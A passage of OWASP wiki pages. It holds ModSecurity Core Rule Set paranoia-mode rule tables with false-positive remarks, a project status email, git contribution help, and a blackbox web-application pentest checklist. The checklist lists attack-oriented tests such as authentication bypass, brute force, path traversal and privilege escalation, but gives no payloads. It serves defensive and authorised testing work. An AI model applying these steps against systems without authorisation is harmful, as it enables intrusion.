| gone -> 942410
| SQL Injection Attack
| confirmed
| Christian's 2.2.X experience: very frequently false positives
|-
| 960015
| 920300
| Request Missing an Accept Header
| confirmed
| Christian's 2.2.X experience: very frequently false positives. Also Franziska's candidate: Not every legitimate client behaves correctly. Walter's experience: many FP (PHP SoapClient)<br/>Discussion concluded it's moved to paranoia mode.<br/>[http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001888.html Link to discussion]<br/>Spartan: Many mobile devices do not send this header, very high FP.
|-
| 960024
| gone -> 942460
| Meta-Character Anomaly Detection Alert - Repetative Non-Word Characters
| confirmed
| Christian's 2.2.X experience: very frequently false positives
|-
| 960035
| 920440
| URL file extension is restricted by policy
| confirmed
| Christian's 2.2.X experience: frequently false positives
|-
| 970901
| 950100
| The Application Returned a 500-Level Status Code
| confirmed
| Franziska's candidate: too strict, too generic, no data leakage happened so far. Walter: it's useful however to prevent attacker from distinguishing between a failed SQLi attempt (403 blocked by ModSec) or a query error due to vulnerable app (500 from application); <br/>Discussion resolved with move to paranoia mode. 403 will cloak a backend error, which is hard for an inexperienced admin and thus complicates things in standard installations<br/>[http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001889.html Link to discussion]
|-
| 973300
| gone -> 941320
| Possible XSS Attack Detected - HTML Tag Handler
| confirmed
| Christian's 2.2.X experience: frequently false positives. Walter: low FP
|-
| 973332
| gone -> 941330
| IE XSS Filters - Attack Detected.
| confirmed
| Christian's 2.2.X experience: frequently false positives. Walter: low FP
|-
| 973333
| gone -> 941340
| IE XSS Filters - Attack Detected.
| confirmed
| Christian's 2.2.X experience: frequently false positives. Walter: low FP
|-
| 981172
| gone -> 942420
| Restricted SQL Character Anomaly Detection Alert - Total # of special characters exceeded
| confirmed
| Christian's 2.2.X experience: very frequently false positives. Walter: very high FP
|-
| 981173
| gone -> 942430
| Restricted SQL Character Anomaly Detection Alert - Total # of special characters exceeded
| confirmed
| Christian's 2.2.X experience: very frequently false positives. Walter: very high FP
|-
| 981231
| gone -> 942440
| SQL Comment Sequence Detected.
| confirmed
| Christian's 2.2.X experience: very frequently false positives. Walter: high FP but rule seems useful
|-
| 981240
| 942300
| Detects MySQL comments, conditions and ch(a)r injections
| confirmed
| Christian's 2.2.X experience: frequently false positives. Walter: low FP
|-
| 981242
| 942330
| Detects classic SQL injection probings 1/2
| confirmed
| Christian's 2.2.X experience: frequently false positives. Also Franziska's candidate: one quote character already matches?? Walter: low FP, but seen in cookies injected by some US ISPs;
|-
| 981243
| 942370
| Detects classic SQL injection probings 2/2
| confirmed
| Christian's 2.2.X experience: very frequently false positives. Walter: medium FP
|-
| 981244
| 942180
| Detects basic SQL authentication bypass attempts 1/3
| confirmed
| Christian's 2.2.X experience: frequently false positives. Walter: low FP; <br/> discussion did not bring up additional arguments. Moving to paranoia mode<br/>[http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001890.html Link to discussion]
|-
| 981245
| 942260
| Detects basic SQL authentication bypass attempts 2/3
| confirmed
| Christian's 2.2.X experience: frequently false positives. Walter: medium FP
|-
| 981246
| 942340
| Detects basic SQL authentication bypass attempts 3/3
| confirmed
| Christian's 2.2.X experience: frequently false positives. Walter: medium FP
|-
| 981248
| 942210
| Detects chained SQL injection attempts 1/2
| confirmed
| Christian's 2.2.X experience: very frequently false positives. Walter: low FP, <br/> discussion did not bring up any additional arguments. Moving to paranoia mode<br/>[http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001890.html Link to discussion]
|-
| 981249
| 942310
| Detects chained SQL injection attempts 2/2
| confirmed
| Christian's 2.2.X experience: frequently false positives. Walter: low FP but seen in very specific situations
|-
| 981257
| 942200
| Detects MySQL comment-/space-obfuscated injections and backtick termination
| confirmed
| Christian's 2.2.X experience: frequently false positives. Walter: medium FP
|-
| 981260
| gone -> 942450
| SQL Hex Encoding Identified
| confirmed
| Christian's 2.2.X experience: very frequently false positives. Walter: high FP in long random strings
|-
| 981318
| 942110
| SQL Injection Attack: Common Injection Testing Detected
| confirmed
| Franziska's candidate: one quote character at the beginning/end really not legitimate? Walter 2.2.X candidate: frequent FP
|-
| 981319
| 942120
| SQL Injection Attack: SQL Operator Detected
| confirmed
| Christian's 2.2.X experience: frequently false positives. Also Franziska's candidate: very short operators or strings already match. Walter: some FP (WooCommerce)
|-
| 981049
| 912100
| Potential Denial of Service (DoS) Attack from ... - # of Request Bursts: ...
| cloning-confirmed
| limit currently at 2; could be set to 1; now, the attacker has to exceed dos_counter_threshold twice. With full reset of counter after first hit. Source: 2.2.X->experimental rules
|-
| 960901
| 920270
| Invalid character in request
| cloning-confirmed
| @validateByteRange 1-255; there was a conditional rule with stricter byterange 32-126 in 2.2.X as well
|-
| 970003
| 951100
| none
| cloning-confirmed
| rule is only setting tx.sql_error_match. Could also trigger score directly
|-
| 950907
| 932100
| Remote Command Execution (RCE) Attempt
| cloning-confirmed
| rule is only triggering in combination with chained rule. Could trigger on its on
|-
| 958977
| 933110
| PHP Injection Attack: Function Name Found
| cloning-confirmed
| rule is only triggering in combination with chained rule. Could trigger on its on
|-
| 958979
| 933120
| PHP Injection Attack: Configuration Directive Found
| cloning-candidate
| rule is only triggering in combination with chained rule. Could trigger on its on
|-
| 950001
| 942150
| SQL Injection Attack
| cloning-confirmed
| rule is only triggering in combination with chained rule. Could trigger on its on
|-
| 950907
| 932100
| System Command Injection
| dropped
| Christian's 2.2.X experience: frequently false positives. Also Franziska's candidate: false positives possible because of @pmf, file with short cmds. Discussion evolved about splitting the file, which everybody thinks is a good idea. But that would be outside the scope of the introduction of the paranoia mode. So the rule stays in the standard set of rules for the time being and will be split in the future [http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001886.html Link to discussion]
|-
| 900050
| 910100
| Client IP is from a HIGH Risk Country Location.
| dropped
| Franziska's candidate: Do we want to exlude countries? But then easy to configure. Discussion pointed out this as an effective rule. We leave it in the standard rules, but provide an empty country list by default [http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001951.html Link to discussion]. [https://github.com/SpiderLabs/owasp-modsecurity-crs/pull/284 Separate pull request]
|-
| 960017
| 920350
| Host header is a numeric IP address
| dropped
| Christian's 2.2.X experience: very frequently false positives. Also Franziska's candidate: Not every legitimate client behaves correctly. Walter's experience: low FP (almost all are mass scans); <br/> Discussion concluded that legitimate use of numeric IP addresses is rare. This is really mostly mass scanners. Rule will be kept in standard set of rules<br/>[http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001888.html Link to discussion]
|-
| 958977
| 933110
| PHP Injection Attack: Function Name Found
| dropped
| Franziska's candidate: false positives possible because of @pmf, file with short function names. Maybe we should split the data file. The discussion revealed that splitting the data file in a clean way is very difficult. Walter Hop volunteered to rework the php rules completely. Chaim might join that effort.
|-
| 958979
| 933120
| PHP Injection Attack: Configuration Directive Found
| dropped
| Franziska's candidate: false positives possible because of @pmf, file with short configuration directives. Splitting file? The discussion revealed that splitting the data file in a clean way is very difficult. Walter Hop volunteered to rework the php rules completely. Chaim might join that effort.
|}

===Rules from 2.2.X, missing in 3.0.0-rc1===

It looks as if only the base_rules made it into 3.0.0. In fact there are a few rule ids know from the optional and experimental rule folders in 2.2.X, but it is more likely, these are new 3.0.0 rules reusing old rule ids as the rules (regexes and msg) do not match at all.

When trying to generate the list below, be aware that the rule ids have been renumbered between 3.0.0-dev and 3.0.0-rc1. IdNumbering.csv in your friend.

====Base rules====

{|- class="wikitable"
|'''2.2.X rule id'''
|         '''msg'''       
|    '''remarks'''   
|-
| 950002
| System Command Access
|
|-
| 950006
| System Command Injection
|
|-
| 950007
| Blind SQL Injection Attack
|
|-
| 950008
| Injection of Undocumented ColdFusion Tags
|
|-
| 950010
| LDAP Injection Attack
|
|-
| 950011
| SSI injection Attack
|
|-
| 950018
| Universal PDF XSS URL Detected.
| Walter: medium FP (foo.pdf#javascript)
|-
| 950019
| Email Injection Attack
|
|-
| 950908
| SQL Injection Attack.
|
|-
| 950921
| Backdoor access
|
|-
| 950922
| Backdoor access
|
|-
| 958000
| Cross-site Scripting (XSS) Attack
|
|-
| 958001
| Cross-site Scripting (XSS) Attack
|
|-
| 958002
| Cross-site Scripting (XSS) Attack
|
|-
| 958003
| Cross-site Scripting (XSS) Attack
|
|-
| 958004
| Cross-site Scripting (XSS) Attack
|
|-
| 958005
| Cross-site Scripting (XSS) Attack
|
|-
| 958006
| Cross-site Scripting (XSS) Attack
|
|-
| 958007
| Cross-site Scripting (XSS) Attack
|
|-
| 958008
| Cross-site Scripting (XSS) Attack
|
|-
| 958009
| Cross-site Scripting (XSS) Attack
|
|-
| 958010
| Cross-site Scripting (XSS) Attack
|
|-
| 958011
| Cross-site Scripting (XSS) Attack
|
|-
| 958012
| Cross-site Scripting (XSS) Attack
|
|-
| 958013
| Cross-site Scripting (XSS) Attack
|
|-
| 958016
| Cross-site Scripting (XSS) Attack
|
|-
| 958017
| Cross-site Scripting (XSS) Attack
|
|-
| 958018
| Cross-site Scripting (XSS) Attack
|
|-
| 958019
| Cross-site Scripting (XSS) Attack
|
|-
| 958020
| Cross-site Scripting (XSS) Attack
|
|-
| 958022
| Cross-site Scripting (XSS) Attack
|
|-
| 958023
| Cross-site Scripting (XSS) Attack
|
|-
| 958024
| Cross-site Scripting (XSS) Attack
|
|-
| 958025
| Cross-site Scripting (XSS) Attack
|
|-
| 958026
| Cross-site Scripting (XSS) Attack
|
|-
| 958027
| Cross-site Scripting (XSS) Attack
|
|-
| 958028
| Cross-site Scripting (XSS) Attack
|
|-
| 958030
| Cross-site Scripting (XSS) Attack
|
|-
| 958031
| Cross-site Scripting (XSS) Attack
|
|-
| 958032
| Cross-site Scripting (XSS) Attack
|
|-
| 958033
| Cross-site Scripting (XSS) Attack
|
|-
| 958034
| Cross-site Scripting (XSS) Attack
|
|-
| 958036
| Cross-site Scripting (XSS) Attack
|
|-
| 958037
| Cross-site Scripting (XSS) Attack
|
|-
| 958038
| Cross-site Scripting (XSS) Attack
|
|-
| 958039
| Cross-site Scripting (XSS) Attack
|
|-
| 958040
| Cross-site Scripting (XSS) Attack
|
|-
| 958041
| Cross-site Scripting (XSS) Attack
|
|-
| 958045
| Cross-site Scripting (XSS) Attack
|
|-
| 958046
| Cross-site Scripting (XSS) Attack
|
|-
| 958047
| Cross-site Scripting (XSS) Attack
|
|-
| 958049
| Cross-site Scripting (XSS) Attack
|
|-
| 958051
| Cross-site Scripting (XSS) Attack
|
|-
| 958052
| Cross-site Scripting (XSS) Attack
|
|-
| 958054
| Cross-site Scripting (XSS) Attack
|
|-
| 958056
| Cross-site Scripting (XSS) Attack
|
|-
| 958057
| Cross-site Scripting (XSS) Attack
|
|-
| 958059
| Cross-site Scripting (XSS) Attack
|
|-
| 958291
| Range: field exists and begins with 0.
| Walter: high FP (Chrome PDF viewer) and not useful.
|-
| 958404
| Cross-site Scripting (XSS) Attack
|
|-
| 958405
| Cross-site Scripting (XSS) Attack
|
|-
| 958406
| Cross-site Scripting (XSS) Attack
|
|-
| 958407
| Cross-site Scripting (XSS) Attack
|
|-
| 958408
| Cross-site Scripting (XSS) Attack
|
|-
| 958409
| Cross-site Scripting (XSS) Attack
|
|-
| 958410
| Cross-site Scripting (XSS) Attack
|
|-
| 958411
| Cross-site Scripting (XSS) Attack
|
|-
| 958412
| Cross-site Scripting (XSS) Attack
|
|-
| 958413
| Cross-site Scripting (XSS) Attack
|
|-
| 958414
| Cross-site Scripting (XSS) Attack
|
|-
| 958415
| Cross-site Scripting (XSS) Attack
|
|-
| 958416
| Cross-site Scripting (XSS) Attack
|
|-
| 958417
| Cross-site Scripting (XSS) Attack
|
|-
| 958418
| Cross-site Scripting (XSS) Attack
|
|-
| 958419
| Cross-site Scripting (XSS) Attack
|
|-
| 958420
| Cross-site Scripting (XSS) Attack
|
|-
| 958421
| Cross-site Scripting (XSS) Attack
|
|-
| 958422
| Cross-site Scripting (XSS) Attack
|
|-
| 958423
| Cross-site Scripting (XSS) Attack
|
|-
| 958976
| PHP Injection Attack
|
|-
| 959070
| SQL Injection Attack
|
|-
| 959071
| SQL Injection Attack
|
|-
| 959072
| SQL Injection Attack
|
|-
| 959073
| SQL Injection Attack
|
|-
| 960014
| Proxy access attempt
|
|-
| 960018
| Invalid character in request
|
|-
| 960020
| Pragma Header requires Cache-Control Header for HTTP/1.1 requests.
| Walter: some FP
|-
| 960022
| UNKNOWN
|
|-
| 960024
| Meta-Character Anomaly Detection Alert - Repetative Non-Word Characters
| Walter: many FP
|-
| 960902
| UNKNOWN
|
|-
| 960913
| Invalid request
|
|-
| 970007
| Zope Information Leakage
|
|-
| 970008
| Cold Fusion Information Leakage
|
|-
| 970010
| ISA server existence revealed
|
|-
| 970011
| File or Directory Names Leakage
|
|-
| 970012
| Microsoft Office document properties leakage
|
|-
| 970016
| Cold Fusion source code leakage
| Walter: some FP but not using this language
|-
| 970018
| IIS installed in default location
|
|-
| 970021
| WebLogic information disclosure
|
|-
| 970903
| ASP/JSP source code leakage
| Walter: some FP but not using this language
|-
| 973300
| Possible XSS Attack Detected - HTML Tag Handler
|
|-
| 973301
| XSS Attack Detected
|
|-
| 973302
| XSS Attack Detected
|
|-
| 973303
| XSS Attack Detected
|
|-
| 973304
| XSS Attack Detected
|
|-
| 973305
| XSS Attack Detected
|
|-
| 973306
| XSS Attack Detected
|
|-
| 973307
| XSS Attack Detected
|
|-
| 973308
| XSS Attack Detected
|
|-
| 973309
| XSS Attack Detected
|
|-
| 973310
| XSS Attack Detected
|
|-
| 973311
| XSS Attack Detected
|
|-
| 973312
| XSS Attack Detected
|
|-
| 973313
| XSS Attack Detected
|
|-
| 973314
| XSS Attack Detected
|
|-
| 973316
| IE XSS Filters - Attack Detected.
|
|-
| 973325
| IE XSS Filters - Attack Detected.
|
|-
| 973327
| IE XSS Filters - Attack Detected.
|
|-
| 973328
| IE XSS Filters - Attack Detected.
|
|-
| 973329
| IE XSS Filters - Attack Detected.
|
|-
| 973330
| IE XSS Filters - Attack Detected.
|
|-
| 973331
| IE XSS Filters - Attack Detected.
|
|-
| 973332
| IE XSS Filters - Attack Detected.
|
|-
| 973333
| IE XSS Filters - Attack Detected.
|
|-
| 973334
| IE XSS Filters - Attack Detected.
| Walter: many FP in text
|-
| 973335
| IE XSS Filters - Attack Detected.
| Walter: many FP in text
|-
| 973347
| IE XSS Filters - Attack Detected.
|
|-
| 981000
| Possibly malicious iframe tag in output
| Walter: medium FP
|-
| 981001
| Possibly malicious iframe tag in output
| Walter: medium FP (iframes with display:none)
|-
| 981003
| Malicious iframe+javascript tag in output
|
|-
| 981004
| Potential Obfuscated Javascript in Output - Excessive fromCharCode
| Walter: many FP (Wordpress 4.4 inlined emoji javascripts); folinic: Problem solved in WP: https://core.trac.wordpress.org/ticket/35412
|-
| 981005
| Potential Obfuscated Javascript in Output - Eval+Unescape
|
|-
| 981006
| Potential Obfuscated Javascript in Output - Unescape
|
|-
| 981007
| Potential Obfuscated Javascript in Output - Heap Spray
|
|-
| 981018
| UNKNOWN
|
|-
| 981022
| UNKNOWN
|
|-
| 981133
| UNKNOWN
|
|-
| 981134
| UNKNOWN
|
|-
| 981136
| UNKNOWN
|
|-
| 981172
| Restricted SQL Character Anomaly Detection Alert - Total # of special characters exceeded
| Walter: many FP
|-
| 981173
| Restricted SQL Character Anomaly Detection Alert - Total # of special characters exceeded
| Walter: many FP
|-
| 981177
| UNKNOWN
|
|-
| 981178
| UNKNOWN
|
|-
| 981231
| SQL Comment Sequence Detected.
|
|-
| 981260
| SQL Hex Encoding Identified
|
|-
| 981300
| UNKNOWN
|
|-
| 981301
| UNKNOWN
|
|-
| 981302
| UNKNOWN
|
|-
| 981303
| UNKNOWN
|
|-
| 981304
| UNKNOWN
|
|-
| 981305
| UNKNOWN
|
|-
| 981306
| UNKNOWN
|
|-
| 981307
| UNKNOWN
|
|-
| 981308
| UNKNOWN
|
|-
| 981309
| UNKNOWN
|
|-
| 981310
| UNKNOWN
|
|-
| 981311
| UNKNOWN
|
|-
| 981312
| UNKNOWN
|
|-
| 981313
| UNKNOWN
|
|-
| 981314
| UNKNOWN
|
|-
| 981315
| UNKNOWN
|
|-
| 981316
| SQL SELECT Statement Anomaly Detection Alert
|
|-
| 981317
| SQL SELECT Statement Anomaly Detection Alert
|
|-
| 990012
| Rogue web site crawler
|
|}

====Optional, experimental, slr rules====

{|- class="wikitable"
| 900048
| Identifies Reflected XSS (optional_rules)
| Walter: could be very interesting candidate but have not used it in production
|-
| 920021, 920022, 920023
| Possible Credit Card Track 1 Data Leakage. (experimental_rules)
| Walter: could be interesting candidates but have not used it in production
|-
| 981080, 920020, 920006
| Detect CC# in output and block transaction (optional_rules)
| Walter: could be interesting candidate but have not used it in production
|-
| 900047, 900048, 981180, 981182
| Identifies Stored XSS (optional_rules)
| Walter: could be somewhat interesting candidate but have not used it in production
|}

=== Stricter siblings for existing rules ===

Stricter Siblings are rules that are present in the CRS but could be accompanied by a stricter clone in Paranoia Mode. Adjustments can differ from rule to rule but include higher anomaly ratings or stricter triggers (e.g. regex counters). To prevent masses of false positives, rules can come with additional filters (chained rules) for common use-cases. These can either be included into Paranoia Mode or simply serve as a recommendation.

Note: To avoid a cluttered project main-page, rule proposals are documented in their respective sub-page. When adding new proposals, make sure adding the rules original (2.2.x) ID, a quick description of what changes were made, and, if applicable, which additional filters were added. For every proposed rule change, we will create a [https://github.com/SpiderLabs/owasp-modsecurity-crs/issues Github issue]; after discussion a pull request will be created. For brainstorming about CRS rules, see our [[OWASP ModSecurity rule evaluation framework]].

'''Possible siblings:'''

[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_981173|981173 : SQL Injection Character Anomaly Usage]]<br>
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_981172|981172 : SQL Injection Character Anomaly Usage]]<br>
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_981049|981049 : Potential Denial of Service (DoS)]]<br>
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_970003|970003 : SQL Error Leakage]]<br>
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_960901|960901 : Invalid character in request]]<br>
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_958980|958980 : PHP Injection Attack: Variables Found]]<br>
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_958979|958979 : PHP Injection Attack: Configuration Directive Found]]<br>
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_958977|958977 : PHP Injection Attack: Function Name Found]]<br>
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_950907|950907 : Remote Command Execution (RCE) Attempt]]<br>
[[OWASP_ModSec_CRS_Paranoia_Mode_Sibling_950001|950001 : SQL Injection Attack]]

==Project Status==

===Project Status January 30, 2016===

<code>
Hello everybody,

It's time to do a status report of our little core rules project.

I am including Franziska Bühler and Walter Hop in this status mail.
Both are experienced ModSec sysadmins. Franziska contributed to this
first stage, Walter told me he does not have much time, but he
was interested in participating at least in the discussions about
the rules.

All in all, this is taking more time than anticipated. But we
have also done things very throughly than I thought. Which is
generally a good thing.

Done so far:
* Manuel has provided us with a list of rules removed between 2.2.x and 3.0.0rc1
* I have assembled a list of rules known to trigger false positives frequently in the 2.2.x ruleset, they are thus candidates for the paranoia mode
* Franziska has looked through the 3.0.0rc1 rules and identified a set of rules which look like good candidates.
* Noël has sharpened his skills by re-writing 981173 in a way that ignores innocent UUIDs. In my eyes, he found a very elegant solution.
* With the development of 3.0.0-dev, Chaim unfortunately reused rule ids formerly used with optional and experimental rules. Now this has all been renumbered. I have pointed this out in the mailinglist and had private contact with Chaim where he confirmed the fact - and promised to resolve the issue.

We have not really looked at the disappeared rules and identified those
who should be brought back and have not been picked so far. This
includes the 2.2.X base_rules, but also the optional, experimental,
and huge stock of slr rules. Of these three groups, only the
anti-ddos rules have made it into 3.0.0. There are probably more
interesting candidates.

If somebody among you wants to look into these, then that would be
welcome, but I do not want to have these tasks delay us any further.
After all, Old rules can also be brought back in subsequent releases
if we see a benefit.

So the next real tasks are:
* Looking through the list of candidates and cloning-candidates (the latter are those rules we might accompany with a clone with stricter limits in paranoia mode).
* Defining the exact working of the paranoia mode.

Please sit down and look through the rule lists in the wiki and add
remarks with regards to the candidate rules. If you think a rule
should be included, if you think an individual rule should not be
included etc.

I am also going to invite the people on the mailinglist to take look at
the rules as well and add their remarks in the wiki (or respond via mail).
This should allow us to nail down the list of rules which will
actually be included in the paranoia mode.

As for defining the exact working of the paranoia mode, I guess I
need to write down the idea I have in mind and see if it makes sense to
you.

Thank you for contributing so far! It is a lot of fun to work in a team!

Christian

</code>

==Git help==

====How to Perform Pull Request to CRS v3.0.0-rc1====

'''By Walter Hop'''

This example assumes that the Github username is 'lifeforms', replace with your own username.

'''Step 1. Create a Github fork of the original repository'''
* a. Browse to CRS: https://github.com/SpiderLabs/owasp-modsecurity-crs
* b. Click "Fork" button in the top right

'''Step 2. Download your Github fork, and checkout the correct branch '''<br/>
<code>
git clone git@github.com:lifeforms/owasp-modsecurity-crs.git <br/>
cd owasp-modsecurity-crs <br/>
git checkout v3.0.0-rc1 <br/>
</code>

'''Step 3. Add the original repository as upstream, to integrate new changes easily'''<br/>
<code>
git remote add upstream git@github.com:SpiderLabs/owasp-modsecurity-crs.git
</code>

'''Step 4. Make sure your forked repo is up to date with changes in the original repository'''<br/>

You need to re-do these steps if somebody else made changes to upstream in the meantime!

<code>
git checkout v3.0.0-rc1 <br/>
git fetch upstream <br/>
git merge --ff upstream/v3.0.0-rc1 <br/>
git push <br/>
</code>

'''Step 5. Create a branch for every separate issue you'd like to fix.'''<br/>
<code>
git checkout -b myfeature v3.0.0-rc1<br/>
git push --set-upstream origin myfeature<br/>
</code>

'''Step 6. Make local changes and commit them'''<br/>
<code>
git add ...<br/>
git commit<br/>
</code>

'''Step 7. Push your local changes to your fork at Github'''<br/>
<code>
git push<br/>
</code>

'''Step 8. Create the pull request'''
* a. Browse to your own fork: https://github.com/lifeforms/owasp-modsecurity-crs
* b. Click "New pull request" button
* c. In the "base fork", ensure that the correct branch is selected: v3.0.0-rc1
* d. In the "head fork", pick "myfeature" (if you used branches) or v3.0.0-rc1 (if you didn't)
* e. Review the content of the pull request (should only contain your commits)
* f. Press "Create pull request" button

'''Optional: Updating your pull request'''

After opening the pull request, people will review it, and probably will make some suggestions for changes before the PR can be accepted. You can keep pushing to your branch, and it will be reflected in the PR.

If in the meantime the code in upstream has drifted, you should re-do step 4 above.

Then, just change some files, commit and push.

<code>
git add ...<br/>
git commit<br/>
git push<br/>
</code>

See also:

* https://help.github.com/articles/fork-a-repo/
* https://help.github.com/articles/syncing-a-fork/
* https://help.github.com/articles/using-pull-requests/

====Testing someone else's pull request====
To test a PR locally, use the following commands to create a branch for it.

In this example we check out PR #427, creating a branch <tt>chaim-headers</tt> locally (you can use any name):

<pre>
git fetch upstream pull/427/head:chaim-headers
git checkout chaim-headers
</pre>

====Pushing to someone else's pull request====
In an editable PR, the PR will say something like:
<pre>
Add more commits by pushing to the ExceptionSupport branch on csanders-git/owasp-modsecurity-crs.
</pre>

To add to branch <tt>ExceptionSupport</tt> of user <tt>csanders-git</tt>, do:
<pre>
git remote add chaim git@github.com:csanders-git/owasp-modsecurity-crs.git
git fetch chaim
git co ExceptionSupport
git add ...
git push
</pre>

====Purging a file completely from Git====
Delete the file from the repo:
<pre>
git rm file
git commit
git push
</pre>

Download [https://rtyley.github.io/bfg-repo-cleaner/ BFG Repo-Cleaner]

Make a NEW mirror:
<pre>
git clone --mirror git@github.com:SpiderLabs/owasp-modsecurity-crs.git
cd owasp-modsecurity-crs.git
</pre>

Purge the file:
<pre>
java -jar ~/Downloads/bfg-*.jar --delete-files example.png
git reflog expire --expire=now --all && git gc --prune=now --aggressive
git push -f
</pre>

E-mail all users to REMOVE their copies of the repositories, and do a FRESH CLONE of the repo. If a user pulls again, the divergent histories will be merged, and there is a big risk that the dirty history (containing the purged file) will return again when they push later.

See also: [https://rtyley.github.io/bfg-repo-cleaner/ BFG Repo-Cleaner]

[[Category:OWASP ModSecurity Core Rule Set Project]]

Web Application Security Testing Cheat Sheet

2017-12-29T17:55:58Z

Christina Schelin: Some updates to grammar.

= Introduction =

This cheat sheet provides a checklist of tasks to be performed during blackbox security testing of a web application.

= Purpose =

This checklist is intended to be used as a memory aid for experienced pentesters. It should be used in conjunction with the [[:Category:OWASP Testing Project|OWASP Testing Guide]]. It will be updated as the [[OWASP_Application_Testing_guide_v4|Testing Guide v4]] progresses.

The intention is that this guide will be available as an XML document, with scripts that convert it into formats such as PDF, MediaWiki markup, HTML, and so forth. This will allow it to be consumed within security tools as well as being available in a format suitable for printing.

All feedback or offers of help will be appreciated. If you have specific changes you think should be made, please log in and make suggestions.

= The Checklist =

== Information Gathering ==
''Rendered Site Review''
* Manually explore the site
* [[Testing:_Spidering_and_googling |Spider/crawl]] for missed or hidden content
* [[Review_Webserver_Metafiles_for_Information_Leakage_(OTG-INFO-003)|Check the webserver metafiles]] for information leakage files that expose content, such as robots.txt, sitemap.xml, and .DS_Store
* [[Conduct_search_engine_discovery/reconnaissance_for_information_leakage_(OTG-INFO-001)|Check the caches of major search engines for publicly accessible sites]]
* Check for differences in content based on user agent (e.g. mobile sites, accessing as a search engine crawler)
* [[Review_webpage_comments_and_metadata_for_information_leakage_(OTG-INFO-005) |Check webpage comments and metadata for information leakage]]

''Development Review''
* [[Fingerprint_Web_Application_Framework_(OTG-INFO-008) |Check the web application framework]]
* [[Fingerprint_Web_Server_(OTG-INFO-002)|Perform web application fingerprinting]]
* Identify technologies used
* [[Test_Role_Definitions_(OTG-IDENT-001)|Identify user roles]]
* [[Identify_application_entry_points_(OTG-INFO-006) |Identify application entry points]]
* Identify client-side code
* Identify multiple versions/channels (e.g. web, mobile web, mobile app)

''Hosting and Platform Review''
* [[Web_Services |Identify web services]]
* Identify co-hosted and related applications
* Identify all hostnames and ports
* Identify third-party hosted content

== Configuration Management ==
* Check for commonly used application and administrative URLs
* [[4.3.4_Review_Old,_Backup_and_Unreferenced_Files_for_Sensitive_Information_(OTG-CONFIG-004) |Check for old, backup, and unreferenced files]]
* [[Test_HTTP_Methods_(OTG-CONFIG-006) |Check HTTP methods supported and Cross Site Tracing (XST)]]
* [[4.3.3_Test_File_Extensions_Handling_for_Sensitive_Information_(OTG-CONFIG-003) |Test file extensions handling]]
* [[Test_RIA_cross_domain_policy_(OTG-CONFIG-008) |Test RIA cross domain policy]]
* Test for [[List_of_useful_HTTP_headers |security HTTP headers]] (e.g. CSP, X-Frame-Options, HSTS)
* Test for policies (e.g. Flash, Silverlight, robots)
* Check for sensitive data in client-side code (e.g. API keys, credentials)

== Secure Transmission ==
''Protocols and Encryption''
* [[Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001) |Check SSL version, algorithms, and key length]]
* Check for digital certificate validity (duration, signature, and CN)
* Check that credentials are only delivered over HTTPS
* Check that the login form is delivered over HTTPS
* Check that session tokens are only delivered over HTTPS
* [[Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-009) |Check if HTTP Strict Transport Security (HSTS) in use]]
* [[Test_Ability_to_forge_requests_(OTG-BUSLOGIC-002) |Test ability to forge requests]]
* [[Test_Web_Messaging_(OTG-CLIENT-011)|Test web messaging (HTML5)]]
* [[Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)|Check CORS implementation (HTML5)]]

''Web Services and REST''
* [[Web_Service_Security_Testing_Cheat_Sheet | Test for web service issues]]
* [[REST_Assessment_Cheat_Sheet | Test REST]]

== Authentication ==
''Application Password Functionality''
* [[Testing_for_Weak_password_policy_(OTG-AUTHN-007)|Test password quality rules]]
* Test remember me functionality
* Test password reset and/or recovery
* Test password change process
* Test CAPTCHA
* Test multi-factor authentication
* Test for logout functionality presence
* Test for default logins
* Test for out-of-channel notification of account lockouts and successful password changes
* Test for consistent authentication across applications with shared authentication schema/SSO and alternative channels
* Test for weak security question/answer

''Additional Authentication Functionality''
* [[Testing_for_User_Enumeration_and_Guessable_User_Account_(OWASP-AT-002) | Test for user enumeration]]
* [[Testing_for_Bypassing_Authentication_Schema_(OTG-AUTHN-004) | Test for authentication bypass]]
* [[Testing_for_Brute_Force_(OWASP-AT-004) | Test for brute force protection]]
* [[Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001)|Test for credentials transported over an encrypted channel]]
* Test for cache management on HTTP (eg Pragma, Expires, Max-age)
* Test for user-accessible authentication history

== Session Management ==
* Establish how session management is handled in the application (eg, tokens in cookies, token in URL)
* [[Testing_for_cookies_attributes_(OTG-SESS-002)|Check session tokens for cookie flags (httpOnly and secure)]]
* [[Testing_for_cookies_attributes_(OTG-SESS-002)|Check session cookie scope (path and domain)]]
* Check session cookie duration (expires and max-age)
* [[Test_Session_Timeout_(OTG-SESS-007)|Check session termination after a maximum lifetime]]
* [[Test_Session_Timeout_(OTG-SESS-007)|Check session termination after relative timeout]]
* [[Testing_for_logout_functionality_(OTG-SESS-006)|Check session termination after logout]]
* Test to see if users can have multiple simultaneous sessions
* [[Testing_for_Session_Management_Schema_(OTG-SESS-001)#Session_ID_Predictability_and_Randomness |Test session cookies for randomness]]
* Confirm that new session tokens are issued on login, role change, and logout
* Test for consistent session management across applications with shared session management
* Test for session puzzling
* Test for CSRF and clickjacking

== Authorization ==
* [[Testing_Directory_traversal/file_include_(OTG-AUTHZ-001)|Test for path traversal]]
* [[Testing_for_Privilege_escalation_(OTG-AUTHZ-003)|Test for vertical access control problems (a.k.a. privilege escalation)]]
* Test for horizontal access control problems (between two users at the same privilege level)
